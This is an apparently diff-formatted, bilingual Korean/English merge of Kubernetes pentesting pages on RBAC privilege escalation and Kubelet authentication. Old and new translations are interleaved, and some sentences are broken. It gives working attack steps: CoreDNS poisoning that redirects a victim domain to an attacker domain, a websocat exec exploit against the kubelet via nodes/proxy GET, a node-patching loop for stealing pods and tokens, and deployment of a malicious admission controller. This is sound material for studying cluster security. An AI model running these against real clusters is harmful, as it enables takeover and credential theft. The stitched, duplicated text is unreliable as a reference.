공격자는 `kubectl get configmap coredns -n kube-system -o yaml`를 실행해 해당 리소스를 다운로드한 뒤, `rewrite name victim.com attacker.com` 같은 항목을 추가하여 `victim.com`에 접근할 때 실제로는 `attacker.com`이 접속되도록 수정할 수 있습니다. 그런 다음 `kubectl apply -f poison_dns.yaml`를 실행해 적용합니다.
Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes.
또 다른 방법은 `kubectl edit configmap coredns -n kube-system`를 실행해 파일을 직접 편집하는 것입니다.
### Escalating in GKE
### GKE에서의 권한 상승
GCP 주체에 K8s 권한을 할당하는 **2가지 방법**이 있습니다. 어떤 경우든 주체는 클러스터에 접근하기 위한 자격 증명을 수집할 수 있도록 **`container.clusters.get`** 권한이 필요하며, 그렇지 않으면 **자신의 kubectl 구성 파일을 생성해야** 합니다 (다음 링크를 따르세요).
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
**K8s 권한을 GCP principal에 할당하는 방법은 2가지**가 있습니다. 어떤 경우든 principal(주체)은 클러스터 접근에 필요한 자격증명을 수집하기 위해 **`container.clusters.get`** 권한이 필요하거나, 아니면 **자신의 kubectl config 파일을 생성해야** 합니다 (다음 링크를 따르세요).
> [!WARNING]
> K8s API 엔드포인트와 통신할 때 **GCP 인증 토큰이 전송됩니다**. 그런 다음 GCP는 K8s API 엔드포인트를 통해 **주체**(이메일로)가 클러스터 내에서 **접근할 수 있는지** 먼저 **확인**하고, 그 다음 **GCP IAM을 통해 접근할 수 있는지** 확인합니다.\
> 이 중 **하나라도** **참이면**, 응답을 받게 됩니다. **아니면** **GCP IAM을 통해 권한을 부여하라는** 오류가 발생합니다.
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
첫 번째 방법은 **GCP IAM**을 사용하는 것이며, K8s 권한은 **상응하는 GCP IAM 권한**이 있으며, 주체가 이를 가지고 있다면 사용할 수 있습니다.
> [!WARNING]
> K8s api endpoint와 통신할 때, **GCP auth token이 전송됩니다**. 그런 다음 GCP는 K8s api endpoint를 통해 먼저 **principal(이메일)에 클러스터 내부 접근 권한이 있는지 확인**하고, 그다음 **GCP IAM을 통한 접근 권한이 있는지** 확인합니다.\
> 만약 **그 중 어느 하나라도** 참이면 응답이 반환됩니다. 그렇지 않으면 **GCP IAM을 통해 권한을 부여하라**는 오류가 표시됩니다.
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
첫 번째 방법은 **GCP IAM**을 사용하는 것입니다. K8s 권한은 대응되는 **GCP IAM 권한**이 있으며, principal이 해당 권한을 가지고 있으면 이를 사용할 수 있습니다.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
두 번째 방법은 **클러스터 내에서 K8s 권한을 할당하는 것**으로, 사용자를 **이메일**로 식별합니다 (GCP 서비스 계정 포함).
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
### 서비스 계정 토큰 생성
두 번째 방법은 클러스터 내부에서 사용자를 **이메일로 식별하여 K8s 권한을 할당하는 것**입니다 (GCP service accounts 포함).
**TokenRequests** (`serviceaccounts/token`)를 **생성할 수 있는 주체**는 K8s API 엔드포인트와 통신할 때 SAs (정보는 [**여기**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### Create serviceaccounts token
### serviceaccounts 토큰 생성
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
`TokenRequests` (`serviceaccounts/token`)를 생성할 수 있는 principal들. K8s api endpoint와 관련된 SAs 정보는 [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)에서 확인하세요.
### ephemeralcontainers
**`update`** 또는 **`patch`** **`pods/ephemeralcontainers`**를 할 수 있는 주체는 **다른 pods에서 코드 실행**을 얻을 수 있으며, 특권 있는 securityContext로 ephemeral container를 추가하여 **노드에서 탈출**할 수 있습니다.
### ephemeralcontainers
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
**`pods/ephemeralcontainers`**를 **`update`** 또는 **`patch`**할 수 있는 principal은 다른 파드에서 **코드 실행**을 획득할 수 있으며, privileged securityContext를 가진 ephemeral container를 추가하여 노드로의 **탈출**을 시도할 수 있습니다.
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
### ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations
`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update` 또는 `patch` 동사를 가진 주체는 **권한 상승**을 위해 **이러한 webhookconfigurations 중 하나를 생성**할 수 있습니다.
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
[`mutatingwebhookconfigurations` 예제는 이 게시물의 이 섹션을 확인하세요](#malicious-admission-controller).
`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update`, `patch` 중 하나라도 허용된 principal은 해당 webhookconfiguration을 생성하여 **권한 상승**을 시도할 수 있습니다.
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
### Escalate
### 권한 상승
다음 섹션에서 읽을 수 있듯이: [**내장된 권한 상승 방지**](#built-in-privileged-escalation-prevention), 주체는 자신이 새로운 권한을 가지지 않고는 역할이나 클러스터 역할을 업데이트하거나 생성할 수 없습니다. 단, **`roles`** 또는 **`clusterroles`**에 대해 **`escalate` 또는 `*`** 동사를 가지고 있고 해당 바인딩 옵션이 있는 경우에 한합니다.\
그렇다면 그는 더 나은 권한을 가진 새로운 역할, 클러스터 역할을 업데이트/생성할 수 있습니다.
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
### 노드 프록시
다음 섹션: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention)에서 설명한 것처럼, principal은 자신에게 해당 권한이 없으면 roles 또는 clusterroles를 생성하거나 업데이트할 수 없습니다. 단, roles 또는 clusterroles에 대해 **동사 `escalate` 또는 `*`** 및 해당 바인딩 옵션을 가진 경우는 예외입니다.\ 이 경우 그는 자신이 가진 것보다 더 높은 권한을 가진 roles/clusterroles를 생성하거나 업데이트할 수 있습니다.
**`nodes/proxy`** 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 **pods에서 코드 실행**을 할 수 있습니다 (정보는 [**이곳**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인하세요:
### Nodes proxy
### Nodes proxy
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
**`nodes/proxy`** 서브리소스에 접근할 수 있는 principal은 Kubelet API를 통해 파드에서 **코드 실행**을 할 수 있습니다 (자세한 내용은 [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego) 참조). Kubelet 인증에 대한 자세한 정보는 다음 페이지를 확인하세요:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
[**Kubelet API에 권한이 있는 RCE를 얻는 방법은 여기**](../pentesting-kubernetes-services/index.html#kubelet-rce)에서 확인할 수 있습니다.
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
### pods 삭제 + 스케줄 불가능한 노드
#### nodes/proxy GET -> Kubelet /exec via WebSocket 동사 혼동
**pods를 삭제**할 수 있는 주체(`pods` 리소스에 대한 `delete` 동사) 또는 **pods를 퇴거**할 수 있는 주체(`pods/eviction` 리소스에 대한 `create` 동사) 또는 **pod 상태를 변경**할 수 있는 주체(`pods/status` 접근)와 **다른 노드를 스케줄 불가능하게 만들 수 있는 주체**(`nodes/status` 접근) 또는 **노드를 삭제**할 수 있는 주체(`nodes` 리소스에 대한 `delete` 동사)와 pod에 대한 제어 권한이 있는 경우, **다른 노드에서 pods를 훔쳐** **손상된** **노드**에서 **실행**되도록 할 수 있으며, 공격자는 이러한 pods에서 **토큰을 훔칠** 수 있습니다.
- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can <user> get nodes/proxy?`**
- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://<node_ip>:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes/<node>/proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`.
- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
- Kubelet은 프로토콜 업그레이드 이전에 HTTP 메서드를 RBAC 동사로 매핑합니다. WebSocket 핸드셰이크는 반드시 **HTTP GET** (`Connection: Upgrade`)으로 시작해야 하므로, WebSocket을 통한 `/exec`는 기대되는 `create` 대신 **동사 `get`**으로 체크됩니다.
- `/exec`, `/run`, `/attach`, `/portforward`는 명시적으로 매핑되지 않아 기본 **`proxy`** 서브리소스로 처리되므로 권한 검사 질문은 **`can <user> get nodes/proxy?`**가 됩니다.
- 토큰에 **`nodes/proxy` + `get`**만 있는 경우, `https://<node_ip>:10250`로 kubelet에 대한 직접 WebSocket 접근은 해당 노드의 어떤 파드에서도 임의 명령 실행을 허용합니다. 반면 API 서버 프록시 경로(`/api/v1/nodes/<node>/proxy/exec/...`)를 통한 동일한 요청은 일반 HTTP POST로 처리되어 `create`로 매핑되므로 거부됩니다.
- kubelet은 WebSocket 업그레이드 이후에 추가적인 권한 검사를 수행하지 않습니다; 초기 GET만 평가됩니다.
**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):**
**직접 익스플로잇(요구사항: kubelet에 대한 네트워크 접근성 및 `nodes/proxy` GET 권한을 가진 토큰):**
```bash
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
```
- 노드 이름이 아니라 **Node IP**를 사용하세요. 동일한 요청을 `curl -X POST`로 하면 `create`에 매핑되기 때문에 **Forbidden**가 됩니다.
- kubelet에 직접 접근하면 API server를 우회하므로 AuditPolicy는 kubelet user agent의 `subjectaccessreviews`만 표시하며 **`pods/exec`를 기록하지 않습니다**.
- [탐지 스크립트](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)로 영향받는 서비스 계정들을 열거하여 `nodes/proxy` GET으로 제한된 토큰을 찾으세요.
### pods 삭제 + 스케줄링 불가능한 nodes
다음 권한을 가진 principals는, pod를 제어할 수 있는 경우, 다른 노드의 pods를 훔쳐와 취약한 node에서 실행되게 하고 공격자가 해당 pods로부터 토큰을 훔칠 수 있습니다: **delete pods** (`delete` verb over `pods` resource), **evict pods** (`create` verb over `pods/eviction` resource), **change pod status** (access to `pods/status`) 및 다른 노드를 **unschedulable**로 만들 수 있는 권한 (access to `nodes/status`) 또는 **delete nodes** (`delete` verb over `nodes` resource).
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -641,43 +704,43 @@ while true; do patch_node_capacity <id_other_node>; done &
kubectl delete pods -n kube-system <privileged_pod_name>
```
### Services status (CVE-2020-8554)
### Services 상태 (CVE-2020-8554)
**`services/status`**를 **수정**할 수 있는 주체는 `status.loadBalancer.ingress.ip` 필드를 설정하여 **수정되지 않은 CVE-2020-8554**를 악용하고 **클러스터에 대한 MiTM 공격** 시작할 수 있습니다. CVE-2020-8554에 대한 대부분의 완화 조치는 ExternalIP 서비스만 방지합니다 ([**이**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) 참조).
**`services/status`**를 **수정할 수 있는** 주체는 `status.loadBalancer.ingress.ip` 필드를 설정하여 **미해결 CVE-2020-8554**를 악용하고 **MiTM 공격을 클러스터에 대한** 시작할 수 있습니다. 대부분의 CVE-2020-8554 완화책은 ExternalIP services만 차단합니다(자세한 내용은 [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) 참조).
### Nodes and Pods status
### Nodes Pods 상태
`nodes/status` 또는 `pods/status`에 대 **`update`** 또는 **`patch`** 권한이 있는 주체는 레이블을 수정하여 강제된 스케줄링 제약에 영향을 줄 수 있습니다.
`nodes/status` 또는 `pods/status`에 대 **`update`** 또는 **`patch`** 권한을 가진 주체는 스케줄링 제약(scheduling constraints)에 영향을 주도록 레이블을 수정할 수 있습니다.
## Built-in Privileged Escalation Prevention
Kubernetes는 권한 상승을 방지하기 위한 [내장 메커니즘](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)을 가지고 있습니다.
Kubernetes는 권한 상승을 방지하 [내장 메커니즘](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 있습니다.
이 시스템은 **사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장**합니다. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인가자가 비활성화되어 있을 때도 안전 장치를 제공합니다.
이 시스템은 **사용자가 roles 또는 role bindings을 수정하여 권한을 상승시키지 못하도록** 보장합니다. 이 규칙의 적용은 API 레벨에서 이루어지며 RBAC authorizer가 비활성화된 경우에도 보호를 제공합니다.
규칙은 **사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능**하다고 명시합니다. 또한, 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체) 제한됩니다.
규칙은 **사용자가 role에 포함된 모든 권한을 보유한 경우에만 role을 생성하거나 업데이트할 수 있다**고 규정합니다. 또한 사용자가 이미 가진 권한 범위는 생성/수정하려는 role의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체) 제한됩니다.
> [!WARNING]
> 이전 규칙에 대한 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **`escalate`** 동사를 가지고 있다면, 자신이 권한을 가지고 있지 않더라도 역할과 클러스터 역할의 권한을 증가시킬 수 있습니다.
> 이전 규칙에 예외가 있습니다. 주체가 **`roles`** 또는 **`clusterroles`**에 대해 **verb `escalate`** 권한을 가지고 있다면, 자신이 권한을 직접 보유하지 않아도 roles 및 clusterroles의 권한을 상승시킬 수 있습니다.
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **이 기술은 전에 작동했지만, 테스트에 따르면 이전 섹션에서 설명한 동일한 이유로 더 이상 작동하지 않습니다. 이미 권한이 없는 경우 자신이나 다른 SA에게 권한을 부여하기 위해 rolebinding을 생성/수정할 수 없습니다.**
> **이 기술은 전에 작동했지만, 테스트에 따르면 이전 섹션에서 설명한 동일한 이유로 더 이상 작동하지 않습니다. 이미 권한을 가지고 있지 않다면 자신이나 다른 SA에게 권한을 부여하기 위해 rolebinding을 생성/수정할 수 없습니다.**
Rolebindings 생성할 수 있는 권한은 사용자가 **서비스 계정에 역할을 바인딩**할 수 있게 합니다. 이 권한은 **사용자가 손상된 서비스 계정에 관리자 권한을 바인딩할 수 있게 하여 권한 상승으로 이어질 수 있습니다.**
Rolebindings 생성할 수 있는 권한은 사용자가 **role을 service account에 바인딩**할 수 있게 합니다. 이 권한은 사용자가 **관리자 권한(admin privileges)을 손상된 service account에 바인딩**할 수 있으므로 잠재적인 권한 상승으로 이어질 수 있습니다.
## Other Attacks
### Sidecar proxy app
기본적으로 pods 간 통신에는 암호화가 없습니다. 상호 인증, 양방향, pod 간 통신니다.
기본적으로 pods 간 통신에는 암호화가 없습니다. 상호 인증(mutual authentication), 양방향, pod 간 통신 보호가 없습니다.
#### Create a sidecar proxy app
사이드카 컨테이너는 **pod 내부에 두 번째(또는 그 이상) 컨테이너를 추가하는 것**으로 구성됩니다.
사이드카 컨테이너는 단순히 pod 내부에 **두 번째(또는 그 이상) 컨테이너를 추가하는 것**으로 구성됩니다.
예를 들어, 다음은 2개의 컨테이너가 있는 pod의 구성 일부입니다:
예를 들어, 다음은 컨테이너 2개를 가진 pod의 구성 일부입니다:
```yaml
spec:
containers:
@@ -687,47 +750,47 @@ image: nginx
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
기존의 포드에 새로운 컨테이너로 백도어를 추가하려면 사양에 새로운 컨테이너를 추가하면 됩니다. 두 번째 컨테이너에 첫 번째 컨테이너가 가지지 않는 **더 많은 권한**을 **부여할 수** 있다는 점에 유의하세요.
예를 들어, 기존 pod에 새 container로 backdoor를 심으려면 specification에 새 container를 추가하기만 하면 됩니다. 참고로 두 번째 container에 첫 번째 container가 가지지 못한 **더 많은 권한**을 부여할 수 있다는 점에 유의하세요.
자세한 정보는 다음을 참조하세요: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### 악의적인 어드미션 컨트롤러
### 악성 Admission Controller
어드미션 컨트롤러는 **객체의 지속화 전에 Kubernetes API 서버에 대한 요청을 가로챕니다**, 하지만 **요청이 인증되고** **권한이 부여된 후**에 가로챕니다.
admission controller는 객체가 영구 저장되기 전에, 그러나 요청이 **인증된 후** **그리고 권한이 부여된 후**에 **Kubernetes API server로의 요청을 가로챕니다**.
공격자가 어떻게든 **Mutation Admission Controller를 주입**하는 데 성공하면, 그는 **이미 인증된 요청을 수정**할 수 있게 됩니다. 이는 잠재적으로 권한 상승을 할 수 있으며, 더 일반적으로 클러스터에 지속적으로 남아 있을 수 있습니다.
만약 공격자가 어떻게든 **Mutation Admission Controller를 주입(inject)**하는 데 성공하면, 이미 인증된 요청을 **수정(modify)**할 수 있게 됩니다. 이는 잠재적으로 privesc를 가능하게 하며, 더 흔하게는 클러스터에 지속적으로 남을 수 있습니다.
**예 출처** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
**예 출처** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
```
상태를 확인하여 준비가 되었는지 확인하세요:
준비되었는지 상태를 확인하세요:
```bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
그런 다음 새 포드를 배포합니다:
그런 다음 새 pod를 배포하세요:
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
`ErrImagePull` 오류가 발생하면 다음 쿼리 중 하나로 이미지 이름을 확인하세요:
`ErrImagePull` 오류가 보일 경우, 다음 쿼리 중 하나로 이미지 이름을 확인하세요:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
위 이미지에서 볼 수 있듯이, 우리는 `nginx` 이미지를 실행하려 했지만 최종 실행된 이미지는 `rewanthtammana/malicious-image`니다. 도대체 무슨 일이 일어난 걸까요!?
위 이미지에서 듯이, 우리는 `nginx` 이미지를 실행하려 했지만 실제로 실행된 이미지는 `rewanthtammana/malicious-image`였습니다. 무슨 일이 일어난 건가요!?
#### Technicalities
#### 기술적 세부사항
`./deploy.sh` 스크립트는 요청을 Kubernetes API에 수정하는 변형 웹후크 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 결과에 영향을 미칩니다:
`./deploy.sh` 스크립트는 mutating webhook admission controller를 설정하며, 구성 파일의 설정에 따라 Kubernetes API로 향하는 요청을 수정하여 관찰된 결과에 영향을 미칩니다:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -735,9 +798,9 @@ Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
스니펫은 모든 포드의 첫 번째 컨테이너 이미지를 `rewanthtammana/malicious-image`로 교체합니다.
위 스니펫은 모든 pod의 첫 번째 컨테이너 이미지를 `rewanthtammana/malicious-image`로 교체합니다.
## OPA Gatekeeper 우회
## OPA Gatekeeper bypass
{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
@@ -745,18 +808,18 @@ Value: "rewanthtammana/malicious-image",
## 모범 사례
### **서비스 계정 토큰의 자동 마운트 비활성화**
### **Service Account Token 자동 마운트 비활성화**
- **포드 및 서비스 계정**: 기본적으로 포드는 서비스 계정 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes는 이 자동 마운트 기능을 비활성화할 수 있도록 허용합니다.
- **적용 방법**: Kubernetes 버전 1.6부터 서비스 계정 또는 포드의 구성에서 `automountServiceAccountToken: false`로 설정합니다.
- **Pods and Service Accounts**: 기본적으로 pods는 service account 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes에서는 이 자동 마운트 기능을 비활성화할 수 있니다.
- **How to Apply**: Kubernetes 버전 1.6부터 service accounts 또는 pods의 설정에서 `automountServiceAccountToken: false`로 설정하세요.
### **RoleBindings/ClusterRoleBindings에서 제한적인 사용자 할당**
### **RoleBindings/ClusterRoleBindings에서 사용자 제한 할당**
- **선택적 포함**: RoleBindings 또는 ClusterRoleBindings에 필요한 사용자만 포함되도록 합니다. 정기적으로 감사하고 관련 없는 사용자를 제거하여 보안을 강화합니다.
- **Selective Inclusion**: RoleBindings 또는 ClusterRoleBindings에 필요한 사용자만 포함되도록 하세요. 정기적으로 감사(audit)하여 관련 없는 사용자를 제거 보안을 유지하세요.
### **클러스터 전체 역할보다 네임스페이스 특정 역할 사용**
### **네임스페이스별 Roles 사용 (클러스터 전체 Roles 대신)**
- **Roles vs. ClusterRoles**: 클러스터 전체에 적용되는 ClusterRoles 및 ClusterRoleBindings보다 네임스페이스 특정 권한에 대해 Roles 및 RoleBindings 사용하는 것이 좋습니다. 이 접근은 더 세밀한 제어를 제공하고 권한 범위 제한합니다.
- **Roles vs. ClusterRoles**: 클러스터 전체에 적용되는 ClusterRoles 및 ClusterRoleBindings 대신 네임스페이스 권한에 Roles 및 RoleBindings 사용을 권장합니다. 이 방은 더 세밀한 제어 권한 범위 제한을 제공합니다.
### **자동화 도구 사용**
@@ -772,12 +835,15 @@ https://github.com/aquasecurity/kube-hunter
https://github.com/aquasecurity/kube-bench
{{#endref}}
## **참고 문헌**
## **References**
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
- [websocat](https://github.com/vi/websocat)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,25 +1,25 @@
# Kubelet Authentication & Authorization
# Kubelet 인증 및 권한 부여
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet 인증 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**문서에서:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
기본적으로, 다른 구성된 인증 방법에 의해 거부되지 않 kubelet의 HTTPS 엔드포인트에 대한 요청은 익명 요청으로 처리되며, **`system:anonymous`**라는 **사용자 이름**과 **`system:unauthenticated`**라는 **그룹**이 부여됩니다.
기본적으로, 다른 구성된 인증 방법에 의해 거부되지 않 kubelet의 HTTPS 엔드포인트로의 요청은 익명 요청으로 처리되며, **username of `system:anonymous`****group of `system:unauthenticated`** 부여됩니다.
**3** 가지 인증 **방법**은 다음과 같습니다:
인증 **방법**은 총 **3**가지입니다:
- **익명** (기본값): 매개변수 **`--anonymous-auth=true`** 또는 구성 설정을 사용합니다:
- **Anonymous** (기본값): 파라미터 **`--anonymous-auth=true`** 또는 구성에서 설정:
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: 이것은 kubectl **API bearer tokens**를 인증으로 **활성화**합니다 (유효한 모든 토큰이 유효합니다). 다음과 같이 허용합니다:
- `authentication.k8s.io/v1beta1` API 그룹이 API 서버에서 활성화되어 있는지 확인합니다.
- **`--authentication-token-webhook`** 및 **`--kubeconfig`** 플래그로 kubelet을 시작하거나 다음 설정을 사용합니다:
- **Webhook**: 이 kubectl **API bearer tokens**를 인증 수단으로 **활성화**합니다 (유효한 토큰이라면 모두 허용됩니다). 허용하려면:
- API 서버에서 `authentication.k8s.io/v1beta1` API 그룹이 활성화되어 있는지 확인하십시오
- kubelet을 **`--authentication-token-webhook`** 및 **`--kubeconfig`** 플래그로 시작하거나 다음 설정을 사용하십시오:
```json
"authentication": {
"webhook": {
@@ -28,11 +28,11 @@
},
```
> [!NOTE]
> kubelet 구성된 API 서버에서 **`TokenReview` API**를 호출하여 **사용자 정보를 결정**합니다.
> kubelet 구성된 API 서버에서 **`TokenReview` API**를 호출하여 bearer tokens로부터 **사용자 정보를 파악합니다**
- **X509 클라이언트 인증서:** X509 클라이언트 인증서를 통해 인증을 허용합니다.
- 자세한 내용은 [apiserver 인증 문서](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs)를 참조하십시오.
- `--client-ca-file` 플래그로 kubelet을 시작하여 클라이언트 인증서를 검증할 CA 번들을 제공합니다. 또는 구성으로:
- **X509 client certificates:** X509 클라이언트 인증서를 통해 인증할 수 있습니다
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
- kubelet을 `--client-ca-file` 플래그로 시작하여 클라이언트 인증서를 검증할 CA 번들을 제공합니다. 또는 다음 설정으로:
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet 권한 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
성공적으로 인증된 모든 요청(익명 요청 포함)은 **그 다음에 권한이 부여됩니다**. **기본** 권한 부여 모드**`AlwaysAllow`**로, **모든 요청을 허용합니다**.
성공적으로 인증된 모든 요청(익명 요청 포함)은 **권한이 부여됩니다**. 기본 **권한 부여 모드**는 **`AlwaysAllow`**로, 이는 **모든 요청을 허용합니다**.
그러나 다른 가능한 값은 **`webhook`**입니다(대부분의 경우 **여기서 찾을 수 있는 것**입니다). 이 모드는 **인증된 사용자의 권한을 확인**하여 작업을 허용하거나 거부합니다.
하지만 다른 가능한 값은 **`webhook`**입니다(실제로 **대부분 이 값을 보게 될 것입니다**). 이 모드는 **인증된 사용자의 권한을 검사**하여 작업을 허용하거나 거부합니다.
> [!WARNING]
> **익명 인증이 활성화되어 있더라도** **익명 접근**이 **어떤 작업수행할 권한이 없을 수 있습니다**.
> 설사 **익명 인증**이 활성화되어 있더라도, **익명 접근**어떤 작업도 **수행할 권한이 없을 수 있습니다**.
웹훅을 통한 권한 부여는 **파라미터 `--authorization-mode=Webhook`** 사용하거나 구성 파일을 통해 설정할 수 있습니다:
Webhook을 통한 권한 부여는 **param `--authorization-mode=Webhook`** 사용하거나 구성 파일을 통해 다음과 같이 설정할 수 있습니다:
```json
"authorization": {
"mode": "Webhook",
@@ -59,41 +59,58 @@
}
},
```
